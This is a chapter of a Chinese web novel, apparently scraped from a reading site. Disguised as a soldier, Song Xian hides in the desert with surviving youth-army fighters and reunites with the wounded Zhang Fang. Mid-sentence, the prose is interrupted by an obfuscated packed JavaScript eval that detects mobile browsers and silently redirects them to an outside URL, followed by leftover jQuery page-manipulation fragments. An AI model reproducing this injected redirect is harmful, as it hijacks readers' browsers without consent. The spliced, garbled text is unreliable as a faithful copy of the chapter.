101. 第 101 章

作品:《没有主角光环,但是女主

    青阳人进了渠阳关,将粮仓、器械全部接手,还派了人日夜在城中巡防。


    但城中还有负隅顽抗之人,找着换班的空隙,非但点了个粮草库,还杀了两个巡逻的士兵。


    青阳人因此将巡视的兵力又增了一辈,连城外都派了两队人马来搜寻,他们不得不往大漠更深的腹地躲藏,将营帐扎在一棵枯死了的胡杨树边。


    这天夜里轮到宋显守夜。


    他坐在胡杨树上,捡来的那把铁剑拄着胡杨枝干,正闭目养神。


    忽而叶岑道:“有人来了。”


    宋显“嗯”了一声:“听到了。”


    他其实早已察觉到,只是听闻那人的动静还隔得远,便不急着动作,只是不动声色将手按到了剑柄上。


    两人都没再说话——


    他们既要留在这里静观其变,顶着陈剑西的壳子,当然要行事低调。可性子可以伪装,剑意却是装不出来的,他又不知陈剑西原本的水平,一动手就容易露出破绽。


    一瞬间,两人达成默契,觉得不如等那探子走近了,在他发出声音之前将他一剑毙命,再抛尸到远处去,到明天早晨,就同他们说昨夜一切正常,如此最为省事。


    但是过了会儿,叶岑“咦”了一声:“那是青阳人吗?”


    宋显于是睁开眼。


    便见那人已走近了不少,瞧着也是个十七八岁的少年人,但似乎受了伤,走起路来一瘸一拐的,人还保持着警惕的状态,脚步声却细微中并不带着慌乱。


    “不太像。”宋显道,“瞧这样子,倒像是……少年军的人。”


    当日渠阳关破,少年军中的许多人也跟着温执玉战死了,余下的则是被冲散了,后来好不容易重新聚在一起,也是在大漠中不断逃窜,无法寻回亡者的尸骨将之安葬,也就无法知道哪些人还活着。


    其实倘若是真正的陈剑西在这里,倒好办了,因为他们彼此之间都是认识的。


    可偏偏此刻是宋显。


    叶岑思索良久,有些自暴自弃:“反正也是在幻境里,要不直接杀了吧。”


    宋显:“……”


    宋显看她一眼,开口时颇有些一言难尽:“你现在,倒是……”


    叶岑还在苦恼,想也不想地接口:“什么?”


    宋显:“……没什么。静观其变,等他过来再说吧。”


    说话间,那少年人已走至近前,却忽而目光一凛,然后回身一躲,再落地时,见到一支箭羽,正正地插进他鞋尖前的沙地里。


    谁知他见此长箭,非但不慌张,反而双眸一亮,惊喜抬头道:“青姐!”


    宋显和叶岑齐齐顺着他的视线望过去,果真见到手挽长弓、身背箭筒的柳青渝从营帐后走出来。


    柳青渝道:“渠阳关烧粮草的那把火,是你点的?”


    少年人道:“是!我……”


    话刚起个头,却见柳青渝挽弓搭箭,箭尖直指着他。


    少年人脸上的惊喜顿时消散了,取而代之的是满面的错愕:“青姐?”


    “青姐?你还知道叫我一声青姐?还活着为什么不早来找我?”柳青渝冷声道,“张放,倘若觉得自己这条命很不值钱,可以直接同我说,叫我一箭射死你,而不是去做什么烧青阳人粮草的蠢事!”


    张放赶忙道:“我没有这样觉得,我只是……只是……”


    “只是”了半天,最终什么话也没能说出口,而将脑袋低垂了下去。


    他只是气不过,可冷静下来之后,也知道自己是在意气用事,即便杀了两个青阳人,又或者拼上性命杀了更多的青阳人,事到如今,其实也没什么意义。


    “我错了。”张放颓丧道,“青姐你打我骂我,或是一箭射死我,我都没话说。”


    他说着就闭上眼睛等死。


    然而等了半晌,柳青渝倒是把弓弦松开了。


    但她脸还是板着的,看了一眼坐在树上的宋显,骂道:“这么冷的天挂在树上吹风,显得你很能耐吗?”


    宋显:“?”


    叶岑感受到有一个瞬间宋显将剑柄握得更紧了。


    她赶忙劝道:“静观其变。”


    宋显:“……”


    柳青渝走上前来,对着张放就是一脚:“臭气熏天的,伤口都流脓了吧?赶紧滚去处理,处理完罚你今夜一起来守夜。”


    然后对着胡杨又是一脚:“还不滚下来生火?就你抗冷不怕冻是吧。”


    宋显滚下来生火时,一言不发。


    叶岑怕他生气,在他耳边不断魔音穿耳:“静观其变、静观其变、静观其变、静观其变。”


    然后被宋显禁了言。


    叶岑:“……”


    宋显困惑道:“她在骂张放,为什么突然就开始骂我?”


    叶岑:“呜呜呜噫噫。”


    宋显又把禁言解开。


    叶岑不吝赐教:“因为她其实并不打算真弄死张放,但你很没眼力见,不下来拦着,让她没有台阶可以下。”


    宋显恍然大悟:“原来如此。”


    然后有些憋屈地叹了一口气。


    是夜,宋显与张放一道守夜,两个人一起围坐在火堆旁。


    张放打理一番,又换了身衣裳,人瞧着已精神了许多,只是情绪依旧有些低落,缩坐在火堆旁,下巴顶着膝盖,闷声道:“我找了你们好久。”


    宋显道:“最近大漠里也多了不少青阳的斥候,因此不敢将记号做得太明显。”


    张放闻声更痛苦了:“是因为我烧了粮草,才让他们更谨慎了。”


    宋显看着他满脸痛苦地薅着自己的头发,仿佛不把头发薅光,他身上的罪孽就洗不清。


    他想了想,开口道:“但是老实说,你烧了粮草,我们都觉得出了一口恶气。”


    张放听出他话里的安慰之意,感动地一拍他的肩,动容道:“谢谢你,好兄弟。”


    然后,就见着一点殷红从好兄弟的左胸处渗出来,慢慢洇开。


    张放:“……”


    宋显:“……”


    寄身符只能寄身,真正的陈剑西到底是死了,因此即便上了药,血液却很难凝固,虽然很多天过去,伤口实际上就没有好过。


    宋显宽慰道:“城破那日受了点伤,昨日练剑时动作太大,又将伤口裂开了。不是你的问……”


    张放呜咽一声,更自责了。


    两人一时无话,倒是有风过,带起些细碎的声响。


    良久,宋显忽又开口道:“我们在大漠里,为了不被发现,不能只在一个地方落脚。昨日在外围,今日便来了腹地,过些日子,可能又要到外围去。”


    这应当是常识,但张放不知他为何突然提起。


    他茫然地抬起头来。


    宋显继续道:“况且,少年军是温……老师带出来的,人没被杀尽,对青阳人来说就是个隐患。他们如今是刚进渠阳关,很多东西都还没安顿下来,所以分不出人手,只好严守城门。你烧不烧那粮草,等过些时日,那些斥候都要被派来的。”


    张放愣愣看着他,半晌后,眼中恨意跳动,像一簇燃烧的火苗。


    他拽紧拳头,恨声道:“总有一日,我们会杀回渠阳关去。”


    说完,他心中总算好受了些,然后再看向身边的“陈剑西”,忽然注意到他胸前挂着之物。


    那是个很奇怪的东西,色彩繁复,但仔细一瞧,似乎是一只眼睛连着一张嘴,上头还卷了一卷黄符纸,瞧着丑陋中带着几丝诡异。


    到底少年人心性,张放立刻被吸引了注意力:“此是何物?”


    宋显熟门熟路地撒谎:“护身符。”


    张放奇怪地看他一眼:“你怎么也开始信这些了?”


    宋显不动声色:“难道我不能信这些?”


    “也不是不能,只是、只是……”张放薅了半天头发,换了个角度组织语言,“你知道的,咱们渠阳关,就是鬼神传说多。先前还有人说呢,说咱们这地底下埋着一把神剑,乃是天子之剑,得天子剑者,便可得这天下。结果呢?要真有天子剑,渠阳关能是如今这个鬼样子?”


    宋显心中一动。


    张放却毫无察觉,继续道:“只是先前,咱们渠阳关人人都拜神仙石的时候,偏你和青姐不信这些。青姐不愿意信鬼神,是……”


    他迟疑一下,确认四下里没有其他人,才压低了声继续说下去:“是因为她家中的变故。你……你从前倒也没说过原因,只是路过东蛟巷口的神仙石,从来目不斜视。如今却挂起护身符来,真是挺稀奇。”


    宋显“哦”了一声,心中想,也不知柳青渝家中有什么变故,同这世界里的王剑又有什么关系。


    他指指胸口的血渍,随口扯谎道:“生死关头走一遭,就宁可信其有了。”


    “原来如此。”张放说着,下意识地就要评价一句,“长得——”


    他看向那护身符,却不知为何,突然有些移不开眼——


    世上就是有这样的东西,初看觉得丑,可是再多看两眼,又能瞧出点别样的好看来!


    张放忍不住看一眼,再看一眼,不由自主地竖起了大拇指:“长得还挺酷的。”


    这是这么多天来,叶岑头一次听到旁人对护身符发出正面的评价,她乐滋滋地向宋显传音:“此子眼光极好,将来必成大器。”


    那边,眼光极好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230640|190790||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的张放已经彻底被折服,向她伸出手来,试探道:“我可不可以——”


    宋显面无表情地避开,道:“不可以。”


    大约陈剑西原本就是个沉默寡言的人,张放又天生与人熟稔,宋显与他守夜,并未露出什么破绽。


    他与少年人们跟着柳青渝在大漠中躲藏,大多数时候都沉默着听旁人讲话。


    讲的最多的自然还是江弥生。


    他在兵荒马乱的渠阳关被捡到,也跟着他们在大漠里逃窜,但柳青渝并不打算留下他。


    因为他真是个少爷,不光在打扮上穿一身华贵的蜀锦,更是真真切切的饭来张口——


    倘若无人递给他饭食,他甚至可以不吃!


    柳青渝说,他们这些人都是要杀回渠阳关去的,带着这样一个身娇肉贵的蜀中小少爷,这像什么话!当然是要送走!


    但是他没什么家人,小少年们都觉得他很可怜。


    尤其张放,他回来得晚,又拉着人听一遍他们推断出来的江弥生的身世,当即与他共情,哭得一把鼻涕一把泪。


    柳青渝在一旁冷眼看着,嗤笑:“我们是在打仗,在报仇,我们甚至居无定所,你带个少爷,还打个屁!”


    张放涕泗横流:“他一个蜀中人,蜀中离这里这样远。他的家人在这里死去了,还有谁能带他回蜀中呢?如果仅仅只是送到关中,那和放任他死了有什么区别?”


    柳青渝冷笑:“渠阳关死了多少人?那些死人里面,有没有十岁以下的小孩?他还能活下来,难道不比那些死去的人幸运?我能让你们送他到关中,已经是很大的让步,不要不识好歹。”


    她说到后来,嘴角的冷笑也淡下去:“你们活下来是因为有仇要报,要把渠阳关夺回来,不是为了在这里养小孩的。我们如今自己都是吃了上顿没下顿,也没这个做善事的余力。”


    她板起脸来时,瞧着便有些不近人情。


    少年们不敢再求,纷纷噤了声,唯有张放胆子大,以眼神示意江弥生,祈求他能够机灵点,给自己求求情。


    江弥生瞧见他的眼神,走上前去,伸着手去抓柳青渝的衣角,但眼见着就要抓上了,却不知为何动作一顿,就将手犹犹豫豫地伸在了那里。


    他仰头看柳青渝,怯怯地喊:“阿姐。”


    柳青渝手边还执着弓,指尖压在弓弦上,闻声指节曲了一下,垂眸去看江弥生。


    小孩眉心蹙起一个很小的弧度,似在认真思考说辞。


    良久,他终于想到一个说服柳青渝让自己留下来的好办法。


    江弥生道:“我不吃。”


    柳青渝:“……”


    江弥生面无表情,但是一双眼中满是诚恳,信念感很强,让人有火也发不出。


    柳青渝深吸一口气,冷冷地眼锋扫向少年:“他话都说不利索,你们让他求我?”


    大家顿时抱在一起瑟瑟发抖。


    “怂样。”柳青渝骂道,“反正我是不管的。你们要做大善人,他的吃食就从你们牙缝里扣。”


    她说着,扬首而去。


    半晌,不知谁先欢呼一声,大家抱在一起喜极而泣。


    张放抱住的人是宋显,他大力笼着他的肩膀,欢呼完之后,还心有余悸,小声道:“老实说,方才他喊‘阿姐’的时候,我差点心跳都要停了。”


    宋显沉默片刻,道:“我也是。”


    张放:“青姐愿意留下他,一定因为想起了她的弟弟。”


    宋显:“确实。”


    然后他一侧头,对上张放狐疑的视线。


    “我总觉得你今日不对劲。”张放道。


    他皱起眉,重新打量起眼前的这个“陈剑西”:“你从前听我说这些,可从不搭腔,你最不愿背后讨论他人的事。”


    宋显:“……”


    宋显沉默片刻,面上露出些许疑惑之色:“方才你说了什么?”


    张放:“……?”


    “抱歉。”宋显满面诚恳地解释,“我方才心中想着事,没注意你说了什么,只是下意识地应答……”


    张放审道:“想的什么事?”


    宋显眉眼低垂,一副隐忍模样:“没什么事,只是身体略有不适……问题不大。”


    话是这么说,左胸处,却慢慢又有血迹渗出。


    张放大惊失色。


    宋显笑道:“只不过是伤口又被你……又裂开了,没关系的,过会儿就能好了。”


    当夜,张放睡在营帐里,翻来覆去睡不着。


    脑子里反复闪过陈剑西那苍白却又神色温和的脸,心中顿时愧疚感丛生,涕泗横流地想——


    我真该死啊!!!!